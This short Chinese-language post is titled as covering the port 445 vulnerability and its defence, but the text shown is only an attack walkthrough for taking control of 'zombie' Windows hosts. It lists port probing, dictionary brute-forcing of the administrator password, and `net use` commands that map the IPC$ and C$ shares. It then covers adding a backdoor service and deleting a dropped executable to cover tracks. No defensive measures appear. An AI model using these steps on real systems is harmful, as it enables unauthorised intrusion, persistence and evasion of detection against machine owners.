关于445端口漏洞和如何防护 在这里

通过445端口漏洞控制肉鸡的过程：

  • 探测目标主机端口

    • 可以用telnet手动测试或者端口扫描器

  • 提权

    • 使用社会工程学生成字典远程爆破

    • 通过映射网络驱动器建立持久化连接

      net use \\10.1.1.1\ipc$ password /user:administrator

以上步骤完成后就已经可以完全控制目标主机了

  • 为目标主机添加后门服务

  • 删除痕迹

    net use f: \\10.1.1.1\c$ password /user:administrator

    cd f:

    del windows\system32\heihei.exe